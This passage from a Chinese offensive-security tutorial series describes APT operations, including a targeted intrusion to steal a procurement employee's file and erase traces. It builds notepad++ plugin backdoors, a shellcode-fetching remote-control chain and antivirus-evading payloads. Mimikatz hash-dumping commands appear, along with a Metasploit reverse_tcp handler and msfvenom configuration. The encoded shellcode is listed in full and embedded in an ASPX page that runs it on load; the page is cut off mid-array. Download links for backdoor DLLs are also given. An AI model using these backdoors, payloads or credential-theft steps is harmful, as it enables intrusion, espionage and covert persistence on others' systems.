的后渗透攻击。溯源或取证攻击者。 在高级持续渗透测试中,PTES的渗透测试执行标准主要分为6段1报。既: 1.前期交互阶段 2.情报收集阶段 3.威胁建模阶段 4.漏洞分析阶段 5.渗透攻击阶段 6.后渗透攻击阶段 7.报告编写 这里要讲的不是打破它的流程,而是归纳总结到类,明确了类的方向,对待一个未知的目标网络环境, 更能清晰的进行攻击或者对抗。 提权的本质是什么? 信息搜集,搜集目标补丁情况,了解目标第三方利用等。 内网渗透的本质是什么? 信息搜集,搜集目标内网的组织架构,明确渗透诉求,在渗透过程中,当获取到内网组织架构图,如鱼 得水。 渗透与高级持续渗透的本质区别是什么? 区别于“持续”,可长期根据攻击者的诉求来潜伏持久的,具有针对性的信息获取。 (而在高级持续渗透它又分为2类,一类持久渗透,一类即时目标渗透) 溯源取证与对抗溯源取证的本质是什么? 信息搜集与对抗信息搜集。 以上4条,清晰的明确了类,以及类方向,在一次完整的实战过程中,攻击者与防御者是需要角色对换 的,前期,攻击者信息搜集,防御者对抗信息搜集。而后渗透,攻击者对抗信息搜集,防御者信息搜 集。 而在两者后的持续把控权限,是随机并且无规律的角色对换过程。主要表现之一为后门。这一句话也许 很难理解,举例: 第六十一课:高级持续渗透-第五季关于后门 -389- 本文档使用书栈(BookStack.CN)构建 持续把控权限过程中,攻击者需要对抗防御者的信息搜集,而又要根据对方行为制定了解防御者的相关 动作以及熟知目标环境的信息搜集安全时间。(包括但不限制于如防御者近期对抗查杀动作,防御者的 作息规律,目标环境的作息规律等来制定相关计划)。 而在持续把控权限的过程中,防御者需要定期不完全依赖安全产品对自身环境的信息进行搜集(包括但 不限制于日志异常,登陆异常,数据异常,第三方篡改日常等),一旦发现被攻击或者异常,对抗攻击 者搜集,并且搜集攻击信息,攻击残留文件,排查可能沦陷的内网群,文件等。 在一次的引用百度百科对APT的解释:APT是黑客以窃取核心资料为目的,针对客户所发动的网络攻击 和侵袭行为,是一种蓄谋已久的“恶意商业间谍威胁”。这种行为往往经过长期的经营与策划,并具备高 度的隐蔽性。APT的攻击手法,在于隐匿自己,针对特定对象,长期、有计划性和组织性地窃取数据, 这种发生在数字空间的偷窃资料、搜集情报的行为,就是一种“网络间谍”的行为。 实战中的APT又主要分为2大类,一类持久渗透,一类即时目标渗透,主要区别于高级持续渗透是6段1 报,即时目标渗透是5段1清1报,共同点都是以黑客以窃取核心资料为目的,并且是一种蓄谋已久的长 期踩点针对目标监视(包括但不限制于服务更新,端口更新,web程序更新,服务器更新等)。不同点 主要区别于即时目标渗透清晰目标网络构架或是明确诉求,得到目标诉求文件,随即销毁自身入侵轨 迹。结束任务。而即时目标渗透往往伴随着传统的人力情报的配合进行网络行动。 在即时目标渗透测试中,主要分为5段1清1报。既: 1. 前期交互阶段 2. 情报收集阶段 3. 威胁建模阶段 4. 漏洞分析阶段 5. 渗透攻击阶段 6. 清理攻击痕迹 7. 报告编写 持久渗透以时间换空间为核心的渗透,以最小化被发现,长期把控权限为主的渗透测试。 即时目标渗透则相反,放大已知条件,关联已知线索,来快速入侵,以达到诉求。 为了更好的解释APT即时目标渗透,举例某实战作为demo(由于是为了更好的解释即时目标渗透,所以 过程略过),大部分图打码,见谅。 任务背景: 任务诉求:需要得知周某某的今年采购的其中一个项目具体信息。 已知条件:该成员是xxx某大型公司。负责XXXX的采购人员。配合人力得知姓名,电话,身份证,照片 等。 任务时间:一周之内 第六十一课:高级持续渗透-第五季关于后门 -390- 本文档使用书栈(BookStack.CN)构建 制定计划:找到开发公司,获取源码,代码审计,得到shell,拿到服务器,得到域控(或者终端管 理)。得到个人机。下载任务文件。 任务过程:得知该XXX公司xxxx网站是某公司出品,得到某公司对外宣传网站,并且得到该开发公司服 务器权限,下载源码模板。 源码审计过程略过。得到webshell 提权略过。得到服务器权限。 内网渗透略过,配合人力情报,大致清楚目标内网架构。直奔内网终端管理系统。 查看在线机器,查找目标人物。 第六十一课:高级持续渗透-第五季关于后门 -391- 本文档使用书栈(BookStack.CN)构建 任务推送执行: 目标回链: 第六十一课:高级持续渗透-第五季关于后门 -392- 本文档使用书栈(BookStack.CN)构建 目标桌面截图:确定为目标人物 下载任务文件后,清理入侵痕迹。任务完成。 那么持久渗透,即时目标渗透的主要表现区别即为后持续渗透,无后门的安装,无再次连接目标。以及 传统人力情报的配合。 那么在demo中,如果需要长期跟踪,并且对方的内网中有多款安全产品,那么就要为它来制定一款针对 该目标的后门。在传统后门中,大多数只考虑目标机系统环境,那么题目为“后门”的艺术,在今天强大 的安全产品中对抗升级中,后门也开始加入了人性化因素。以及传统后门的特性变更:如无进程,无服 务,无端口,无自启,无文件等,来附属在第三方上。根据目标环境的人为特点,上线时间,操作时 间。来制定一次后门的唤醒时间。需要了解目标经常使用的第三方软件,来制定后门类型。(参考第一 季)。 如何把后门定制到更贴近目标,来对抗反病毒,反后门查杀。利用人为化来启动,或者第三方唤醒,这 应该是值得攻击者思考的问题。 而明确了类与类的方向,如何阻断攻击者的信息搜集,并且加大攻击者的暴露踪迹,减少非必要的第三 方,这应该是指的防御者思考的问题。 后门在对抗升级中,越贴近目标的后门越隐蔽,越贴近人性化的后门越持久,而由于目前存储条件等因 素,还不能够全流量的全部记录,而是全流量的部分流量记录。导致不能完全依赖安全产品,并且在实 战中,往往并不是每一台机器(包括但不限制于服务器,个人机,办公及)都遵循安全标准。尤其是在 当今VPN办公普遍的情况下,家用个人机为突破点的例子层出不穷。其他非人为因素等。导致了当下的 安全再次回归到安全的初衷:人。是的,人是安全的尺度。 /*段子*/ 第六十一课:高级持续渗透-第五季关于后门 -393- 本文档使用书栈(BookStack.CN)构建 可能某老夫跳出来,大喊,后门的人性化制作就这一个也能算艺术? 在现实中,我很喜欢问别人三个问题: 1. 你用过最糟糕的后门是什么样的? 2. 你用过最精彩的后门是什么样的? 3. 你最理想的后门是什么样的? 问题1.能大致分析出对方的入行时间 问题2.能大致的判断出对方目前的技术水平 问题3.能直接判断出对方对技术的追求是怎样的心态 后门是一种艺术。 在文章的结尾处,我想贴几个图。 当初:多么简单的知识,都会找到你想要的教程。多么复杂的知识都会找到相关的文章。 第六十一课:高级持续渗透-第五季关于后门 -394- 本文档使用书栈(BookStack.CN)构建 现在:想学习的人,找不到入门的知识,与可以建立兴趣的文章。想分享的人却又胆战心惊。 第六十一课:高级持续渗透-第五季关于后门 -395- 本文档使用书栈(BookStack.CN)构建 来自知乎某大V的回忆当初: 第六十一课:高级持续渗透-第五季关于后门 -396- 本文档使用书栈(BookStack.CN)构建 黑吧的logo还是曾经的那个logo,联盟的国徽还是那个国徽,只是人的心变了。 附录: PTES中文版 http://netsec.ccert.edu.cn/hacking/files/2011/07/PTES_MindMap_CN1.pdf Micropoor 第六十一课:高级持续渗透-第五季关于后门 -397- 本文档使用书栈(BookStack.CN)构建 本季是作《php安全新闻早八点-高级持续渗透-第一季关于后门》的补充。 https://micropoor.blogspot.com/2017/12/php.html 在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。本季继续以 notepad++作为demo,而本季引入无目标源码构造notepad++backdoor。 针对服务器,或者个人PC,安装着大量的notepad++,尤其是在实战中的办公域,或者运维机等,而 这些机器的权限把控尤为重要。 该系列仅做后门思路。 Demo环境: Windows2003x64 Windows7x64 notepad++7.6.1 vs2017 遵守第一季的原则,demo未做任何对抗安全软件,并且demo并不符合实战要求。仅提出思路。由于 demo并未做任何免杀处理。导致反病毒软件报毒。如有测试,建议在虚拟机中进行测试。 Windows2003:ip192.168.1.119 开放端口: 第六十二课:高级持续渗透-第六季关于后门 -398- 本文档使用书栈(BookStack.CN)构建 notepad++版本: 导入dll插件: 第六十二课:高级持续渗透-第六季关于后门 -399- 本文档使用书栈(BookStack.CN)构建 notepad++v7.6.x以上版本提示,后重新打开notepad++,来触发payload。 开放端口变化如下: 第六十二课:高级持续渗透-第六季关于后门 -400- 本文档使用书栈(BookStack.CN)构建 msf连接: 第六十二课:高级持续渗透-第六季关于后门 -401- 本文档使用书栈(BookStack.CN)构建 后者的话: demo借助了notepad++的证书,在通过notepad++来调用自身。本季的demo并不符合实战要求。在 实战中,当目标人启动notepad++时,或者抓取密码发送到指定邮箱,或者在做一次调起第四方后门 等,这是每一位信息安全从业人员应该考虑的问题。 关于后门,无论是第一季还是最六季,都侧面的强调了shellcode的分离免杀,后 门”多链”的调用触发。同样,攻击分离,加大防御者的查杀成本,溯源成本,以及时间成本。给攻击者 争取最宝贵的时间。 PS: 关于mimikatz的分离免杀参考上一季《体系的本质是知识点串联》, https://micropoor.blogspot.com/2018/12/blog-post.html。 本demo不支持notepad++v7.6版本。因为此问题为notepad++官方bug。7.6.1更新如下: 第六十二课:高级持续渗透-第六季关于后门 -402- 本文档使用书栈(BookStack.CN)构建 为此调试整整一天。才发现为官方bug。 Demofordll: 由于demo并未做任何免杀处理。导致反病毒软件报毒。如有测试,建议在虚拟机中进行测试。demo仅 做开放443端口。等待主机连接。 HTMLTags_x32.dll 大小:73728字节文件版本:1.4.1.0 修改时间:2018年12月31日,18:51:20 MD5:FDF30DD5494B7F8C61420C6245E79BFE SHA1:D23B21C83A9588CDBAD81E42B130AFE3EDB53EBBCRC32:D06C6BD1 https://drive.google.com/open?id=1_sFKMWi6Zuy1_v82Ro1wZR8OrqKr7GD4 HTMLTags_x64.dll 大小:88064字节文件版本:1.4.1.0 修改时间:2018年12月31日,18:51:09 MD5:D7355FF1E9D158B6F917BD63159F4D86 SHA1:9E6BC1501375FFBC05A8E20B99DC032C43996EA3CRC32:606E5280 https://drive.google.com/open?id=1JwmW8KrxYoQ1Dk_VNtnDs0MxM6tuqCs\_ Micropoor 第六十二课:高级持续渗透-第六季关于后门 -403- 本文档使用书栈(BookStack.CN)构建 本季是作《PHP安全新闻早八点-高级持续渗透-第六季关于后门》的补充。 https://micropoor.blogspot.com/2018/12/php.html 原本以为第六季的demo便结束了notepad++ 但是demo系列的懿旨并没有按照作者的想法来表述。顾引入第七季。 在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。 在第六季关于后门中,文章假设在不得知notepad++的源码,来引入无目标源码沟门构造。 而第七季关于后门中,让这个demo更贴合于实战。此季让这个demo成长起来。它的 成长痕迹分别为第一季,第六季,第七季。 该系列仅做后门思路。 懿旨:安全是一个链安全,攻击引入链攻击,后门引入链后门。让渗透变得更加有趣。 Demo环境: Windows2003x64 Windows7x64 notepad++7.6.1,notepad++7.5.9 vs2017 靶机以notepad++7.5.9为例: 默认安装notepad++流程图,如下:一路下一步。 第六十三课:高级持续渗透-第七季demo的成长 -404- 本文档使用书栈(BookStack.CN)构建 第六十三课:高级持续渗透-第七季demo的成长 -405- 本文档使用书栈(BookStack.CN)构建 目标机背景:windows2003,x64,notepad++7.6.1,notepad++7.5.9,iis,aspx 第六十三课:高级持续渗透-第七季demo的成长 -406- 本文档使用书栈(BookStack.CN)构建 shell权限如下: notepad++7.5.9 安装路径:E:\Notepad++\ 插件路径:E:\Notepad++\plugins\ 第六十三课:高级持续渗透-第七季demo的成长 -407- 本文档使用书栈(BookStack.CN)构建 检查默认安装情况如下: 第六十三课:高级持续渗透-第七季demo的成长 -408- 本文档使用书栈(BookStack.CN)构建 注:为了让本季的demo可观性,顾不打算隐藏自身。 第六十三课:高级持续渗透-第七季demo的成长 -409- 本文档使用书栈(BookStack.CN)构建 端口如下: shell下写入: 注: notepad++v7.6以下版本插件路径为: X:\Notepad++\plugins\ notepad++v7.6以上版本插件路径为: X:\DocumentsandSettings\AllUsers\ApplicationData\Notepad++\plugins 第六十三课:高级持续渗透-第七季demo的成长 -410- 本文档使用书栈(BookStack.CN)构建 目标机管理员再次打开notepad++: 注:demo中不隐藏自身 第六十三课:高级持续渗透-第七季demo的成长 -411- 本文档使用书栈(BookStack.CN)构建 端口变化如下: msf连接目标机: 后者的话: 第六十三课:高级持续渗透-第七季demo的成长 -412- 本文档使用书栈(BookStack.CN)构建 如果此demo,增加隐身自身,并demo功能为:增加隐藏帐号呢?或者往指定邮箱发目标机帐号密码明 文呢?如果当第六季依然无法把该demo加入到实战中,那么请回顾。这样实战变得更为有趣。安全是一 个链安全,攻击引入链攻击,后门引入链后门。让渗透变得更加有趣。 Micropoor 第六十三课:高级持续渗透-第七季demo的成长 -413- 本文档使用书栈(BookStack.CN)构建 本季是《高级持续渗透-第七季demo的成长》的延续。 https://micropoor.blogspot.com/2019/01/php-demo.html 在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。 在第六季关于后门中,文章假设在不得知notepad++的源码,来引入无目标源码沟门构造。 在第七季关于后门中,文章让demo与上几季中对比,更贴近于实战。 而在第八季,继续优化更新demo,强调后门链在高级持续渗透中的作用。 该系列仅做后门思路。 在上季中引用一个概念:“安全是一个链安全,攻击引入链攻击,后门引入链后门”,而”链”的本质是增 加对手的时间成本,金钱成本,人力成本等。 第七季的文章结尾是这样写道: 而增改后门每一个功能,则需要更改demo的功能,或者增加几个功能的集合。那么它并不是一个标准 的”链”后门。为了更好的强调“链”后门在高级持续渗透中的作用。第八季把demo打造成一个远控。以 及可结合任意第三方渗透框架。 远控4四大要素: 可执行cmd命令 可远程管理目标机文件,文件夹等 可查看目标摄像头 注册表和服务操作 等等 而以上功能需要大量的代码以及大量的特征加入到该dll里,而此时,后门不在符合实战要求。从而需 要重新构建后门。思路如下:dll不实现任何后门功能,只做“后门中间件”。而以上功能则第四方来实 现。第三方作为与后门建立连接关系。 Demo环境: Windows2003x64 Windows7x64 Debian notepad++7.6.1,notepad++7.5.9 第六十四课:高级持续渗透-第八季demo便是远控 -414- 本文档使用书栈(BookStack.CN)构建 vs2017 Windows2003:ip192.168.1.119 开放端口: notepad++版本: 第六十四课:高级持续渗透-第八季demo便是远控 -415- 本文档使用书栈(BookStack.CN)构建 notepad++v7.6以下版本插件直接放入 X:\ProgramFiles(x86)\Notepad++\plugins 目录下即 可。 放置后门: 配置后门链: 第六十四课:高级持续渗透-第八季demo便是远控 -416- 本文档使用书栈(BookStack.CN)构建 配置下载服务器: 配置msf: 再次打开notepad++: 变化如下: 下载服务器: 第六十四课:高级持续渗透-第八季demo便是远控 -417- 本文档使用书栈(BookStack.CN)构建 msf服务器: 执行顺序为: notepad++挂起dll后门 后门访问下载服务器读取shellcode 根据shellcode内容,加载内存 执行shellcode Micropoor.rb核心代码如下: 而此时,无需在对dll的功能改变而更改目标服务器,只需更改下载服务器shellcode,以 messagebox为例: msf生成shellcode如下: 第六十四课:高级持续渗透-第八季demo便是远控 -418- 本文档使用书栈(BookStack.CN)构建 替换下载服务器shellcode: 再次运行notepad++,弹出messagebox,而无msfpayload功能。 第六十四课:高级持续渗透-第八季demo便是远控 -419- 本文档使用书栈(BookStack.CN)构建 后者的话: 在第八季中,只需配置一次目标服务器,便完成了对目标服务器的“后门”全部配置。以减小最小化接触 目标服务器,来减少被发现。而以后得全部配置,则在下载服务器中。来调用第四方框架。并且目标服 务器只落地一次文件,未来其他功能都将会直接加载到内存。大大的增加了管理人员的对抗成本。“后 门链”的本质是增加对手的时间成本,金钱成本,人力成本等。而对于攻击者来说,下载,执行,后门 分别在不同的IP。对于对抗安全软件,仅仅需要做“落地”的exe的加解密shellcode。 附: Micropoor.rb 大小:1830字节 修改时间:2019年1月4日,15:46:44 MD5:D5647F7EB16C72B94E0C59D87F82F8C3 SHA1:BDCFB4A9B421ACE280472B7A8580B4D9AA97FC22CRC32:ABAB591B https://drive.google.com/open?id=1ER6Xzcw4mfc14ql4LK0vBBuqQCd23Apg MicroNc.exe 注:强烈建议在虚拟中测试,因Micropoor已被安全软件加入特征,故报毒。 大小:93696字节 修改时间:2019年1月4日,15:50:41 MD5:42D900BE401D2A76B68B3CA34D227DD2 第六十四课:高级持续渗透-第八季demo便是远控 -420- 本文档使用书栈(BookStack.CN)构建 SHA1:B94E2D9828009D80EEDDE3E795E9CB43C3DC2ECECRC32:CA015C3E https://drive.google.com/open?id=1ZKKPOdEcfirHb2oT1opxSKCZPSplZUSf Micropoor 第六十四课:高级持续渗透-第八季demo便是远控 -421- 本文档使用书栈(BookStack.CN)构建 上一季下载sys.hiv,sam.hiv,security.hiv文件后,以Linux下为背景来离线提取hash,本季补 充以windows为背景离线提取hash。 mimikatz2.0二进制文件下载地址: https://github.com/gentilkiwi/mimikatz/releases/latest 切到当下目录(注意X86,X64位) mimikatz离线导hash命令: 1. mimikatz.exe"lsadump::sam/system:sys.hiv/sam:sam.hiv"exit 第六十五课:离线提取目标机hash补充 -422- 本文档使用书栈(BookStack.CN)构建 mimikatz在线导hash命令: 1. mimikatz.exe"logMicropoor.txt""privilege::debug""token::elevate" "lsadump::sam""exit" 第六十五课:离线提取目标机hash补充 -423- 本文档使用书栈(BookStack.CN)构建 当然关于提取目标机的hash,msf也内置了离线提取与在线提取hash。 meterpreter下hashdump命令来提取hash(注意当前权限) 第六十五课:离线提取目标机hash补充 -424- 本文档使用书栈(BookStack.CN)构建 msf同时也内置了mimikatz,meterpreter执行loadmimikatz即可加载该插件。(这里一定要注 意,msf默认调用于payload位数相同的mimikatz) 直接执行kerberos即可。 当然有些情况下,payload位数无误,权限无误,依然无法提取目标机的密码相关。需要调用 mimikatz自定义命令: 1. mimikatz_command-fsekurlsa::searchPasswords 第六十五课:离线提取目标机hash补充 -425- 本文档使用书栈(BookStack.CN)构建 Micropoor 第六十五课:离线提取目标机hash补充 -426- 本文档使用书栈(BookStack.CN)构建 关于分离免杀,其他章节参考: 68课时payload特征,行为分离免杀思路第一季 69课时payload分离免杀思路第二季 本季针对目标环境支持aspx进行分离免杀。 靶机背景: Windows2003 Debian Windows2003: 第六十六课:借助aspx对payload进行分离免杀 -427- 本文档使用书栈(BookStack.CN)构建 1. msfauxiliary(server/socks4a)>useexploit/multi/handler 2. msfexploit(multi/handler)>setpayloadwindows/meterpreter/reverse_tcp_uuid 3. payload=>windows/meterpreter/reverse_tcp_uuid 4. msfexploit(multi/handler)>setlhost192.168.1.5 5. lhost=>192.168.1.5 6. msfexploit(multi/handler)>setlport53 7. lport=>53 8. msfexploit(multi/handler)>setstageencoderx86/shikata_ga_nai 9. stageencoder=>x86/shikata_ga_nai 10. msfexploit(multi/handler)>setEnableStageEncodingtrue 11. EnableStageEncoding=>true 12. msfexploit(multi/handler)>setexitonsessionfalse 13. exitonsession=>false 14. msfexploit(multi/handler)>showoptions 15. 16. Moduleoptions(exploit/multi/handler): 17. 18. NameCurrentSettingRequiredDescription 19. -------------------------------------- 20. 21. Payloadoptions(windows/meterpreter/reverse_tcp_uuid): 22. 23. NameCurrentSettingRequiredDescription 24. -------------------------------------- 25. 26. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 27. LHOST192.168.1.5yesThelistenaddress 第六十六课:借助aspx对payload进行分离免杀 -428- 本文档使用书栈(BookStack.CN)构建 28. LPORT53yesThelistenport 29. 30. Exploittarget: 31. 32. IdName 33. ------ 34. 0WildcardTarget 35. 36. msfexploit(multi/handler)>exploit-j-z 1. root@John:tmp#msfvenom-ax86-pwindows/meterpreter/reverse_tcp_uuid 2. LHOST=192.168.1.5LPORT=53EnableStageEncoding=true 3. stageencoder=x86/shikata_ga_nai-ex86/shikata_ga_nai-i5-fcsharp 4. /usr/share/metasploit-framework/lib/msf/core/opt.rb:55:warning:constant payload生成: 第六十六课:借助aspx对payload进行分离免杀 -429- 本文档使用书栈(BookStack.CN)构建 5. OpenSSL::SSL::SSLContext::METHODSisdeprecated 6. Noplatformwasselected,choosingMsf::Module::Platform::Windowsfromthe payload 7. Found1compatibleencoders 8. Attemptingtoencodepayloadwith5iterationsofx86/shikata_ga_nai 9. x86/shikata_ga_naisucceededwithsize401(iteration=0)x86/shikata_ga_nai succeededwithsize428(iteration=1)x86/shikata_ga_naisucceededwithsize 455(iteration=2)x86/shikata_ga_naisucceededwithsize482(iteration=3) 10. x86/shikata_ga_naisucceededwithsize509(iteration=4)x86/shikata_ga_nai chosenwithfinalsize509 11. Payloadsize:509bytes 12. Finalsizeofcsharpfile:2610bytes 13. byte[]buf=newbyte[509]{ 14. 0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1, 15. 0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e, 16. 0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3, 17. 0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba, 18. 0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc, 19. 0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae, 20. 0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c, 21. 0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5, 22. 0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2, 23. 0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93, 24. 0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76, 25. 0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55, 26. 0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21, 27. 0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c, 28. 0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad, 29. 0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24, 30. 0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b, 31. 0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8, 32. 0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42, 33. 0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0, 34. 0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34, 35. 0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44, 36. 0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65, 37. 0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6, 38. 0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8, 39. 0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f, 40. 0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a, 41. 0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67, 42. 0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09, 第六十六课:借助aspx对payload进行分离免杀 -430- 本文档使用书栈(BookStack.CN)构建 43. 0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d, 44. 0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc, 45. 0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70, 46. 0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e, 47. 0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9}; 其中分离shellcode。构造如下: 第六十六课:借助aspx对payload进行分离免杀 -431- 本文档使用书栈(BookStack.CN)构建 第六十六课:借助aspx对payload进行分离免杀 -432- 本文档使用书栈(BookStack.CN)构建 上线成功,关于分离免杀的思路不仅仅限制于脚本,pe文件。包括powershell等。这是每一个安全从 业者应该考虑的问题。 第六十六课:借助aspx对payload进行分离免杀 -433- 本文档使用书栈(BookStack.CN)构建 1. <%@PageLanguage="C#"AutoEventWireup="true"Inherits="System.Web.UI.Page"%> 2. <%@ImportNamespace="System"%> 3. <%@ImportNamespace="System.Runtime.InteropServices"%> 4. <scriptrunat="server"> 5. delegateintMsfpayloadProc(); 6. protectedvoidPage_Load(objectsender,EventArgse) 7. { 8. byte[]buf=codeBytes[509]{ 9. 0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1, 10. 0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e, 11. 0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3, 12. 0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba, 13. 0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc, 14. 0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae, 15. 0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c, 16. 0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5, 17. 0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2, 18. 0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93, 19. 0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76, 20. 0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55, 21. 0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21, 22. 0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c, 23. 0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad, 24. 0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24, 25. 0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b, 26. 0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8, 27. 0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42, 28. 0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0, 29. 0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34, 30. 0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44, 31. 0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65, 32. 0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6, 33. 0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8, 34. 0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f, 35. 0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a, 36. 0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67, 37. 